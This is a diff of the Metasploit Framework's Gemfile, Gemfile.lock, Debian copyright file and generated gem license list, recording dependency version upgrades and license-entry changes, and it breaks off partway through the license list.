||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov'
|
||||
end
|
||||
|
||||
@@ -19,8 +23,10 @@ group :development do
|
||||
# for development and testing purposes
|
||||
gem 'pry'
|
||||
# module documentation
|
||||
gem 'octokit', '~> 4.0'
|
||||
# rails-upgrade staging gems
|
||||
gem 'octokit'
|
||||
# metasploit-aggregator as a framework only option for now
|
||||
# Metasploit::Aggregator external session proxy
|
||||
gem 'metasploit-aggregator'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
@@ -33,14 +39,10 @@ group :development, :test do
|
||||
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
end
|
||||
|
||||
group :test do
|
||||
# cucumber extension for testing command line applications, like msfconsole
|
||||
gem 'aruba'
|
||||
# cucumber + automatic database cleaning with database_cleaner
|
||||
gem 'cucumber-rails', :require => false
|
||||
gem 'shoulda-matchers'
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
||||
@@ -27,8 +27,6 @@ end
|
||||
|
||||
# Create a custom group
|
||||
group :local do
|
||||
# Use pry-debugger to step through code during development
|
||||
gem 'pry-debugger', '~> 0.2'
|
||||
# Add the lab gem so that the 'lab' plugin will work again
|
||||
gem 'lab', '~> 0.2.7'
|
||||
end
|
||||
|
||||
+184
-155
@@ -1,12 +1,26 @@
|
||||
GIT
|
||||
remote: https://github.com/ConnorAtherton/rb-readline
|
||||
revision: fd882edcd145c26681f9971be5f6675c7f6d1970
|
||||
specs:
|
||||
rb-readline (0.5.4)
|
||||
|
||||
GIT
|
||||
remote: https://github.com/alexdalitz/dnsruby
|
||||
revision: 09c3890ccfaedb7fd4951f56575d5c53651e0140
|
||||
specs:
|
||||
dnsruby (1.60.1)
|
||||
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.13.8)
|
||||
metasploit-framework (4.15.2)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
backports
|
||||
bcrypt
|
||||
bit-struct
|
||||
dnsruby
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
@@ -14,13 +28,14 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.2.4)
|
||||
metasploit-payloads (= 1.2.37)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.4)
|
||||
metasploit_payloads-mettle (= 0.1.10)
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
network_interface
|
||||
nexpose
|
||||
nokogiri
|
||||
octokit
|
||||
openssl-ccm
|
||||
@@ -28,12 +43,13 @@ PATH
|
||||
packetfu
|
||||
patch_finder
|
||||
pcaprub
|
||||
pg
|
||||
pdf-reader
|
||||
pg (= 0.20.0)
|
||||
railties
|
||||
rb-readline-r7
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch (= 0.1.4)
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
rex-encoder
|
||||
@@ -42,7 +58,7 @@ PATH
|
||||
rex-mime
|
||||
rex-nop
|
||||
rex-ole
|
||||
rex-powershell
|
||||
rex-powershell (< 0.1.73)
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
@@ -52,6 +68,7 @@ PATH
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
ruby_smb
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sqlite3
|
||||
@@ -59,118 +76,110 @@ PATH
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
windows_error
|
||||
xdr
|
||||
xmlrpc
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionpack (4.2.7.1)
|
||||
actionview (= 4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
Ascii85 (1.0.2)
|
||||
actionpack (4.2.9)
|
||||
actionview (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
actionview (4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
activemodel (4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.3)
|
||||
activemodel (4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.7.1)
|
||||
activemodel (= 4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
activerecord (4.2.9)
|
||||
activemodel (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.7.1)
|
||||
activesupport (4.2.9)
|
||||
i18n (~> 0.7)
|
||||
json (~> 1.7, >= 1.7.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.5.0)
|
||||
addressable (2.5.1)
|
||||
public_suffix (~> 2.0, >= 2.0.2)
|
||||
arel (6.0.3)
|
||||
arel-helpers (2.3.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.4.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
aruba (0.14.2)
|
||||
childprocess (~> 0.5.6)
|
||||
contracts (~> 0.9)
|
||||
cucumber (>= 1.3.19)
|
||||
ffi (~> 1.9.10)
|
||||
rspec-expectations (>= 2.99)
|
||||
thor (~> 0.19)
|
||||
backports (3.8.0)
|
||||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.2)
|
||||
capybara (2.11.0)
|
||||
addressable
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
rack (>= 1.0.0)
|
||||
rack-test (>= 0.5.4)
|
||||
xpath (~> 2.0)
|
||||
childprocess (0.5.9)
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
bindata (2.4.0)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.1)
|
||||
contracts (0.14.0)
|
||||
cucumber (2.4.0)
|
||||
builder (>= 2.1.2)
|
||||
cucumber-core (~> 1.5.0)
|
||||
cucumber-wire (~> 0.0.1)
|
||||
diff-lcs (>= 1.1.3)
|
||||
gherkin (~> 4.0)
|
||||
multi_json (>= 1.7.5, < 2.0)
|
||||
multi_test (>= 0.1.2)
|
||||
cucumber-core (1.5.0)
|
||||
gherkin (~> 4.0)
|
||||
cucumber-rails (1.4.5)
|
||||
capybara (>= 1.1.2, < 3)
|
||||
cucumber (>= 1.3.8, < 4)
|
||||
mime-types (>= 1.16, < 4)
|
||||
nokogiri (~> 1.5)
|
||||
railties (>= 3, < 5.1)
|
||||
cucumber-wire (0.0.1)
|
||||
diff-lcs (1.2.5)
|
||||
diff-lcs (1.3)
|
||||
docile (1.1.5)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.7.0)
|
||||
factory_girl (4.8.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.7.0)
|
||||
factory_girl (~> 4.7.0)
|
||||
factory_girl_rails (4.8.0)
|
||||
factory_girl (~> 4.8.0)
|
||||
railties (>= 3.0.0)
|
||||
faraday (0.10.0)
|
||||
faraday (0.12.1)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.14)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (4.0.0)
|
||||
i18n (0.7.0)
|
||||
jsobfu (0.4.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.3)
|
||||
fivemat (1.3.5)
|
||||
google-protobuf (3.3.0)
|
||||
googleauth (0.5.1)
|
||||
faraday (~> 0.9)
|
||||
jwt (~> 1.4)
|
||||
logging (~> 2.0)
|
||||
memoist (~> 0.12)
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.4.1)
|
||||
google-protobuf (~> 3.1)
|
||||
googleauth (~> 0.5.1)
|
||||
hashery (2.1.2)
|
||||
i18n (0.8.6)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
jwt (1.5.6)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.2.2)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.0.3)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.2)
|
||||
metasploit-concern (2.0.3)
|
||||
memoist (0.16.0)
|
||||
metasm (1.0.3)
|
||||
metasploit-aggregator (0.2.1)
|
||||
grpc
|
||||
rex-arch
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.8)
|
||||
metasploit-credential (2.0.10)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
rubyntlm
|
||||
rubyzip
|
||||
metasploit-model (2.0.3)
|
||||
metasploit-model (2.0.4)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.2.4)
|
||||
metasploit_data_models (2.0.10)
|
||||
metasploit-payloads (1.2.37)
|
||||
metasploit_data_models (2.0.15)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
@@ -180,32 +189,35 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.1.4)
|
||||
metasploit_payloads-mettle (0.1.10)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2016.0521)
|
||||
mini_portile2 (2.1.0)
|
||||
minitest (5.10.1)
|
||||
msgpack (1.0.2)
|
||||
mini_portile2 (2.2.0)
|
||||
minitest (5.10.2)
|
||||
msgpack (1.1.0)
|
||||
multi_json (1.12.1)
|
||||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (3.2.0)
|
||||
net-ssh (4.1.0)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.8.1)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
octokit (4.6.2)
|
||||
nexpose (6.1.0)
|
||||
nokogiri (1.8.0)
|
||||
mini_portile2 (~> 2.2.0)
|
||||
octokit (4.7.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.11)
|
||||
network_interface (~> 0.0)
|
||||
pcaprub (~> 0.12)
|
||||
os (0.9.6)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pg (0.19.0)
|
||||
pdf-reader (2.0.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
@@ -215,137 +227,154 @@ GEM
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
public_suffix (2.0.4)
|
||||
rack (1.6.5)
|
||||
public_suffix (2.0.5)
|
||||
rack (1.6.8)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
activesupport (>= 4.2.0.alpha)
|
||||
rails-dom-testing (1.0.7)
|
||||
rails-dom-testing (1.0.8)
|
||||
activesupport (>= 4.2.0.beta, < 5.0)
|
||||
nokogiri (~> 1.6.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
railties (4.2.7.1)
|
||||
actionpack (= 4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
railties (4.2.9)
|
||||
actionpack (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.0.0)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.1.2)
|
||||
recog (2.1.11)
|
||||
nokogiri
|
||||
redcarpet (3.3.4)
|
||||
rex-arch (0.1.4)
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.9)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.1)
|
||||
rex-bin_tools (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.3)
|
||||
rex-encoder (0.1.1)
|
||||
rex-core (0.1.11)
|
||||
rex-encoder (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.4)
|
||||
rex-exploitation (0.1.14)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
rex-java (0.1.3)
|
||||
rex-mime (0.1.1)
|
||||
rex-java (0.1.5)
|
||||
rex-mime (0.1.5)
|
||||
rex-text
|
||||
rex-nop (0.1.0)
|
||||
rex-nop (0.1.1)
|
||||
rex-arch
|
||||
rex-ole (0.1.3)
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.68)
|
||||
rex-powershell (0.1.72)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.1)
|
||||
rex-random_identifier (0.1.2)
|
||||
rex-text
|
||||
rex-registry (0.1.1)
|
||||
rex-rop_builder (0.1.1)
|
||||
rex-registry (0.1.3)
|
||||
rex-rop_builder (0.1.3)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.2)
|
||||
rex-socket (0.1.8)
|
||||
rex-core
|
||||
rex-sslscan (0.1.1)
|
||||
rex-sslscan (0.1.4)
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.0)
|
||||
rex-text (0.2.9)
|
||||
rex-zip (0.1.1)
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.15)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.6)
|
||||
rkelly-remix (0.0.7)
|
||||
robots (0.10.1)
|
||||
rspec-core (3.5.4)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-expectations (3.5.0)
|
||||
rspec (3.6.0)
|
||||
rspec-core (~> 3.6.0)
|
||||
rspec-expectations (~> 3.6.0)
|
||||
rspec-mocks (~> 3.6.0)
|
||||
rspec-core (3.6.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-expectations (3.6.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-mocks (3.5.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-mocks (3.6.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-rails (3.5.2)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-rails (3.6.0)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.5.0)
|
||||
rspec-expectations (~> 3.5.0)
|
||||
rspec-mocks (~> 3.5.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-support (3.5.0)
|
||||
rubyntlm (0.6.1)
|
||||
rubyzip (1.2.0)
|
||||
rspec-core (~> 3.6.0)
|
||||
rspec-expectations (~> 3.6.0)
|
||||
rspec-mocks (~> 3.6.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.6.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.1)
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
shoulda-matchers (3.1.1)
|
||||
activesupport (>= 4.0.0)
|
||||
simplecov (0.12.0)
|
||||
signet (0.7.3)
|
||||
addressable (~> 2.3)
|
||||
faraday (~> 0.9)
|
||||
jwt (~> 1.5)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.14.1)
|
||||
docile (~> 1.1.0)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.0)
|
||||
simplecov-html (0.10.1)
|
||||
slop (3.6.0)
|
||||
sqlite3 (1.3.12)
|
||||
sshkey (1.8.0)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
thor (0.19.4)
|
||||
thread_safe (0.3.5)
|
||||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
thread_safe (0.3.6)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.3)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2016.10)
|
||||
tzinfo-data (1.2017.2)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.0.2)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.9.5)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.9)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
aruba
|
||||
cucumber-rails
|
||||
dnsruby!
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
octokit (~> 4.0)
|
||||
octokit
|
||||
pry
|
||||
rake
|
||||
rb-readline!
|
||||
redcarpet
|
||||
rspec-rails
|
||||
shoulda-matchers
|
||||
rspec-rerun
|
||||
simplecov
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.13.6
|
||||
1.15.2
|
||||
|
||||
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2016, Rapid7, Inc.
|
||||
Copyright: 2006-2017, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
@@ -19,19 +19,6 @@ Files: data/templates/to_mem_pshreflection.ps1.template
|
||||
Copyright: 2012, Matthew Graeber
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: data/john/*
|
||||
Copyright: 1996-2011 Solar Designer.
|
||||
License: GPL-2
|
||||
|
||||
Files: external/pcaprub/*
|
||||
Copyright: 2007-2008, Alastair Houghton
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: external/ruby-kissfft/*
|
||||
Copyright: 2003-2010 Mark Borgerding
|
||||
2009-2012 H D Moore <hdm[at]rapid7.com>
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/exploits/IE11SandboxEscapes/*
|
||||
Copyright: James Forshaw, 2014
|
||||
License: GPLv3
|
||||
@@ -79,38 +66,18 @@ Files: lib/anemone.rb lib/anemone/*
|
||||
Copyright: 2009 Vertive, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: lib/bit-struct.rb lib/bit-struct/*
|
||||
Copyright: 2005-2009, Joel VanderWerf
|
||||
License: Ruby
|
||||
|
||||
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/nessus/*
|
||||
Copyright: Vlatoko Kosturjak
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: lib/net/dns.rb lib/net/dns/*
|
||||
Copyright: 2006 Marco Ceresa
|
||||
License: Ruby
|
||||
|
||||
Files: lib/net/ssh.rb lib/net/ssh/*
|
||||
Copyright: 2008 Jamis Buck <jamis@37signals.com>
|
||||
License: MIT
|
||||
|
||||
Files: lib/packetfu.rb lib/packetfu/*
|
||||
Copyright: 2008-2012 Tod Beardsley
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: lib/postgres_msf.rb lib/postgres/postgres-pr/message.rb lib/postgres/postgres-pr/connection.rb
|
||||
Copyright: 2005 Michael Neumann
|
||||
License: BSD-3-clause or Ruby
|
||||
|
||||
Files: lib/openvas/*
|
||||
Copyright: No copyright statement provided
|
||||
License: MIT
|
||||
|
||||
Files: lib/rabal/*
|
||||
Copyright: Jeremy Hinegadner <jeremy at hinegardner dot org>
|
||||
License: Ruby
|
||||
@@ -119,22 +86,10 @@ Files: lib/rbmysql.rb lib/rbmysql/*
|
||||
Copyright: 2009 tommy
|
||||
License: Ruby
|
||||
|
||||
Files: lib/rbreadline.rb
|
||||
Copyright: 2009 Park Heesob
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: lib/rkelly/*
|
||||
Copyright: 2007, 2008, 2009 Aaron Patternson, John Barnette
|
||||
License: MIT
|
||||
|
||||
Files: lib/snmp.rb lib/snmp/*
|
||||
Copyright: 2004, David R. Halliday
|
||||
License: Ruby
|
||||
|
||||
Files: lib/sshkey.rb lib/sshkey/*
|
||||
Copyright: 2011 James Miller
|
||||
License: MIT
|
||||
|
||||
Files: lib/windows_console_color_support.rb
|
||||
Copyright: 2011 Michael 'mihi' Schierl
|
||||
License: BSD-3-clause
|
||||
@@ -151,132 +106,6 @@ Files: data/webcam/api.js
|
||||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
||||
Files: activemodel
|
||||
Copyright: 2004-2011 David Heinemeier Hansson
|
||||
License: MIT
|
||||
|
||||
Files: activerecord
|
||||
Copyright: 2004-2011 David Heinemeier Hansson
|
||||
License: MIT
|
||||
|
||||
Files: activesupport
|
||||
Copyright: 2005-2011 David Heinemeier Hansson
|
||||
License: MIT
|
||||
|
||||
Files: arel
|
||||
Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
|
||||
License: MIT
|
||||
|
||||
Files: bcrypt
|
||||
Copyright: 2007-2011 Coda Hale
|
||||
License: MIT
|
||||
|
||||
Files: builder
|
||||
Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com)
|
||||
License: MIT
|
||||
|
||||
Files: database_cleaner
|
||||
Copyright: 2009 Ben Mabey
|
||||
License: MIT
|
||||
|
||||
Files: diff-lcs
|
||||
Copyright: 2004-2011 Austin Ziegler
|
||||
License: MIT
|
||||
|
||||
Files: factory_girl
|
||||
Copyright: 2008-2013 Joe Ferris and thoughtbot, inc.
|
||||
License: MIT
|
||||
|
||||
Files: fivemat
|
||||
Copyright: 2012 Tim Pope
|
||||
License: MIT
|
||||
|
||||
Files: i18n
|
||||
Copyright: 2008 The Ruby I18n team
|
||||
License: MIT
|
||||
|
||||
Files: json
|
||||
Copyright: Daniel Luz <dev at mernen dot com>
|
||||
License: Ruby
|
||||
|
||||
Files: metasploit_data_models
|
||||
Copyright: 2012 Rapid7, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: mini_portile
|
||||
Copyright: 2011 Luis Lavena
|
||||
License: MIT
|
||||
|
||||
Files: msgpack
|
||||
Copyright: Austin Ziegler
|
||||
License: Ruby
|
||||
|
||||
Files: multi_json
|
||||
Copyright: 2010 Michael Bleigh, Josh Kalderimis, Erik Michaels-Ober, and Intridea, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: network_interface
|
||||
Copyright: 2012, Rapid7, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: nokogiri
|
||||
Copyright: 2008 - 2012 Aaron Patterson, Mike Dalessio, Charles Nutter, Sergio Arbeo, Patrick Mahoney, Yoko Harada
|
||||
License: MIT
|
||||
|
||||
Files: packetfu
|
||||
Copyright: 2008-2012 Tod Beardsley
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: pcaprub
|
||||
Copyright: 2007-2008, Alastair Houghton
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: pg
|
||||
Copyright: 1997-2012 by the authors
|
||||
License: Ruby
|
||||
|
||||
Files: rake
|
||||
Copyright: 2003, 2004 Jim Weirich
|
||||
License: MIT
|
||||
|
||||
Files: redcarpet
|
||||
Copyright: 2009 Natacha Porté
|
||||
License: MIT
|
||||
|
||||
Files: robots
|
||||
Copyright: 2008 Kyle Maxwell, contributors
|
||||
License: MIT
|
||||
|
||||
Files: rspec
|
||||
Copyright: 2009 Chad Humphries, David Chelimsky
|
||||
License: MIT
|
||||
|
||||
Files: shoulda-matchers
|
||||
Copyright: 2006-2013, Tammer Saleh, thoughtbot, inc.
|
||||
License: MIT
|
||||
|
||||
Files: simplecov
|
||||
Copyright: 2010-2012 Christoph Olszowka
|
||||
License: MIT
|
||||
|
||||
Files: timecop
|
||||
Copyright: 2012 Travis Jeffery, John Trupiano
|
||||
License: MIT
|
||||
|
||||
Files: tzinfo
|
||||
Copyright: 2005-2006 Philip Ross
|
||||
License: MIT
|
||||
|
||||
Files: yard
|
||||
Copyright: 2007-2013 Loren Segal
|
||||
License: MIT
|
||||
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
+130
@@ -0,0 +1,130 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.0.2, MIT
|
||||
actionpack, 4.2.9, MIT
|
||||
actionview, 4.2.9, MIT
|
||||
activemodel, 4.2.9, MIT
|
||||
activerecord, 4.2.9, MIT
|
||||
activesupport, 4.2.9, MIT
|
||||
addressable, 2.5.1, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.4.0, unknown
|
||||
backports, 3.8.0, MIT
|
||||
bcrypt, 3.1.11, MIT
|
||||
bindata, 2.4.0, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.3, MIT
|
||||
bundler, 1.15.1, MIT
|
||||
coderay, 1.1.1, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.60.1, "Apache 2.0"
|
||||
docile, 1.1.5, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
factory_girl, 4.8.0, MIT
|
||||
factory_girl_rails, 4.8.0, MIT
|
||||
faraday, 0.12.1, MIT
|
||||
filesize, 0.1.1, MIT
|
||||
fivemat, 1.3.5, MIT
|
||||
google-protobuf, 3.3.0, "New BSD"
|
||||
googleauth, 0.5.1, "Apache 2.0"
|
||||
grpc, 1.4.1, "New BSD"
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
i18n, 0.8.6, MIT
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.1.0, ruby
|
||||
jwt, 1.5.6, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.2.2, MIT
|
||||
loofah, 2.0.3, MIT
|
||||
memoist, 0.16.0, MIT
|
||||
metasm, 1.0.3, LGPL
|
||||
metasploit-aggregator, 0.2.1, "New BSD"
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 2.0.10, "New BSD"
|
||||
metasploit-framework, 4.15.0, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.15, "New BSD"
|
||||
metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.8.2, MIT
|
||||
mini_portile2, 2.2.0, MIT
|
||||
minitest, 5.10.2, MIT
|
||||
msgpack, 1.1.0, "Apache 2.0"
|
||||
multi_json, 1.12.1, MIT
|
||||
multipart-post, 2.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 4.1.0, MIT
|
||||
network_interface, 0.0.1, MIT
|
||||
nexpose, 6.1.0, BSD
|
||||
nokogiri, 1.8.0, MIT
|
||||
octokit, 4.7.0, MIT
|
||||
openssl-ccm, 1.2.1, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
os, 0.9.6, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
